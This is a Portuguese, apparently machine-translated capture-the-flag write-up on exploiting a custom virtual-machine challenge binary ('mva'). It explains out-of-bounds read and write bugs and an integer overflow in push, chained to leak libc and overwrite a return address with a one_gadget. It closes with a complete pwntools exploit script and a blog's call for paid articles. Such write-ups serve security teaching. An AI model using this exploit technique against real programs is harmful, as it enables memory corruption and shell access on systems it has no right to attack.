Todo o pseudocódigo fica mais claro e as funções podem ser vistas rapidamente

Na verdade, basicamente todas as funções implementadas por vm são basicamente as mesmas. Também fiz uma análise específica nas duas perguntas anteriores, portanto não vou analisá-las uma a uma aqui. Todas as funções são as seguintes:

dd218c5578360fa07cd28c20731dd17a.jpeg cb58523a6c527d98f6aa1c5ade0db24f.jpeg

Então, onde está a brecha? Observe que ao realizar operações em três registradores, os valores de índice dos três registradores serão verificados e não poderão ser maiores ou iguais a 6.

No entanto, ao fazer a multiplicação:

750f8d09b1d0640cb1c36f1775a41933.jpeg

O índice de r3 não é verificado, para que os dados além da faixa do registrador possam ser multiplicados.Quando fixamos os dados dos outros dois registradores, pode causar o efeito de leitura fora dos limites.

mais uma brecha

047e23203e3f01d38c8a52ac16c6b990.jpeg

Ao executar a instrução mov, o índice de r2 é verificado na forma de um inteiro sem sinal, enquanto o índice de r1 é verificado usando um inteiro com sinal, de modo que, se o índice de r1 for números negativos, também passará na verificação. Isso cria uma vulnerabilidade de gravação fora dos limites.

Dessa forma, a ideia geral de exploração é primeiro usar a vulnerabilidade de leitura fora dos limites na multiplicação para ler o endereço libc, depois calcular o endereço do onegadget e, em seguida, usar a vulnerabilidade de gravação fora dos limites para escreva o endereço do onegadget no endereço de retorno.

Em seguida, vemos a parte de depuração dinâmica

d70183d567c14e46daa51394f5182ea7.jpeg

Como a máquina virtual está alocada na pilha, há um grande número de endereços libc na pilha, conforme mostrado na figura a seguir

642469388602b6ed0ffc6b5164137ee9.jpeg

Podemos usar a função de leitura fora dos limites da multiplicação, primeiro definir o valor de um registrador como 1 e, em seguida, usar a função de leitura fora dos limites da multiplicação para multiplicar o endereço libc na pilha por 1 e armazená-lo Deve-se observar aqui que, como cada registro tem apenas 2 bytes de comprimento e o comprimento efetivo do endereço libc é de 6 bytes, são necessários 3 registros para armazenar o endereço libc.

Primeiro definimos reg0 como 1, conforme mostrado na figura abaixo

b9858d69ffa9f244fda1babba341d802.jpeg

Em seguida, encontramos o endereço libc mais próximo, conforme mostrado abaixo

03d6fdf99c589bb2eebd752e0f7be77d.jpeg

O endereço inicial do registro é 0x7ffde8c12c04, o tamanho de cada registro é de 2 bytes e calculamos o deslocamento desse endereço libc de acordo

6b620428d718ce7a83218a06d26708a7.jpeg

Se você quiser usar registros para indexação, o índice subscrito deve ser 0xe, então usamos a função de multiplicação para fazer reg[0]*reg[0xe] e armazenar o resultado em reg[0]

bb5e47dd18773bd5b29dc91a7502efdf.jpeg

Conforme mostrado na figura acima, os últimos 2 bytes do endereço libc foram armazenados em reg[0].

No futuro, continuaremos a seguir esta operação e armazenar os bytes restantes do endereço libc em reg[1] e reg[2], conforme mostrado na figura abaixo

ebb870210921575dae90fddb3941fbbb.jpeg

Depois de obter o endereço libc, você pode calcular o endereço do onegadget de acordo com o endereço libc

dce5c1dd90df6aebc49daa9a58444552.jpeg

Selecione o onegadget 0xe3b31, então seu endereço de carregamento em libc é libc_base+0xe3b31

a346b2c183a83e90ba942b32fc4e6503.jpeg d290809868a241f045b392193097dac1.jpeg

Ainda porque o registrador tem 2 bytes, então operamos em dois bytes toda vez, podemos ver que a diferença entre os dois últimos bytes de onegadget e reg[0] é 0x431, ou seja, reg[0]+0x431 é Você pode obter os dois últimos bytes de um gadget;

590660bb7ca98a7c8505423e4d850523.jpeg

A diferença entre os dois bytes no meio é 0x14, ou seja, reg[1]+0x14 consegue o valor dos dois bytes no meio do onegadget, e o endereço no começo é o mesmo, então nenhum cálculo é necessário .

Para calcular o endereço do onegadget usamos a função add.

Em seguida, precisamos escrever o endereço de onegadget em um endereço. Como vm está na pilha, consideramos escrever onegadget no endereço de retorno

Mas a função de gravação fora dos limites só pode gravar acima e fora dos limites, e o endereço de retorno está localizado abaixo da máquina virtual. O que devo fazer aqui para escrever sem problemas?

Note que na função push

a93efb42d3a0ec9c7cb8848f8b87a2e1.jpeg

O ponteiro para o topo da pilha é um tipo assinado, portanto, se o ponteiro para o topo da pilha for negativo, ele pode passar na verificação. Vamos ver qual é o deslocamento do ponteiro superior do endereço de retorno.

e7e87566dd4d673097ba22e28e79ed8d.jpeg

A pilha da máquina virtual também está em unidades de 2 bytes, portanto, se você deseja indexar o endereço de retorno por meio da pilha, precisa que o subscrito da matriz seja 0x10c.

Quando push é atribuído, existe tal operação

e8919bfc9eb0488185a8d8a3144c3b65.jpeg

Supondo que rax seja 0x800000000000010c, após rax*2, o estouro inteiro se tornará 0x0000000000000218, de modo que a detecção do ponteiro do topo da pilha possa ser ignorada e o ponteiro do topo da pilha possa ser modificado para apontar para o endereço de retorno.

Posteriormente, colocamos o valor no registrador na pilha, para que o endereço de retorno possa ser sobrescrito com o endereço de onegadget, para que no final do programa, onegadget possa ser chamado para getshell

20dc6d2249604a5ef67b569fa13c9069.jpeg

5.3.4 Usando scripts

from pwn import *
context.log_level='debug'
io=process('./mva')
libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.7_amd64/libc-2.31.so')
onegadget=0xe3b31


def get_command(code, op1, op2, op3):
    return p8(code) + p8(op1) + p8(op2) + p8(op3)

def movl(reg, value):
    return get_command(1, reg, value >> 8, value & 0xFF)

def add(dest, add1, add2):
    return get_command(2, dest, add1, add2)

def sub(dest, subee, suber):
    return get_command(3, dest, subee, suber)

def band(dest, and1, and2):
    return get_command(4, dest, and1, and2)

def bor(dest, or1, or2):
    return get_command(5, dest, or1, or2)

def sar(dest, off):
    return get_command(6, dest, off, 0)

def bxor(dest, xor1, xor2):
    return get_command(7, dest, xor1, xor2)

def push(reg, value):
    if reg == 0:
        return get_command(9, reg, 0, 0)
    else:
        return get_command(9, reg, value >> 8, value & 0xFF)

def pop(reg):
    return get_command(10, reg, 0, 0)

def imul(dest, imul1, imul2):
    return get_command(13, dest, imul1, imul2)

def mov(src, dest):
    return get_command(14, src, dest, 0)

def print_top():
    return get_command(15, 0, 0, 0)

def pwn():
    io.recvuntil('[+] Welcome to MVA, input your code now :')
    payload=movl(0,0x1)
    payload+=imul(0,14,0)
    payload+=movl(1,0x1)
    payload+=imul(1,15,1)
    payload+=movl(2,0x1)
    payload+=imul(2,16,2)

    payload+=movl(4,0x431)
    payload+=add(0,0,4)
    payload+=movl(4,0x14)
    payload+=sub(1,1,4)

    payload+=movl(4,0x8000)
    payload+=mov(4,0xf9)
    payload+=movl(4,0x10c)
    payload+=mov(4,0xf6)

    payload+=push(0,0)
    payload+=mov(1,0)
    payload+=push(0,0)
    payload+=mov(2,0)
    payload+=push(0,0)


    payload=payload.ljust(0x100,'\x00')
    # gdb.attach(io,'b *$rebase(0x0000000000001431)')
    # pause()
    io.send(payload)
    io.interactive()

pwn()

Chamada para manuscritos originais

Chamada para artigos técnicos originais, bem-vindo ao postar

E-mail de envio: [email protected]

Tipo de artigo: tecnologia hacker geek, pontos de acesso de segurança da informação, pesquisa e análise de segurança, etc.

Se você passar na revisão e publicá-la, poderá obter uma remuneração que varia de 200 a 800 yuans.

Para mais detalhes, clique em mim para ver!

fe3e045b78da2a3ef6e1e7ed38f38659.gif

Prática de campo de tiro, clique em "Leia o texto original"

Acho que você gosta

Origin blog.csdn.net/qq_38154820/article/details/131950497
Recomendado
Clasificación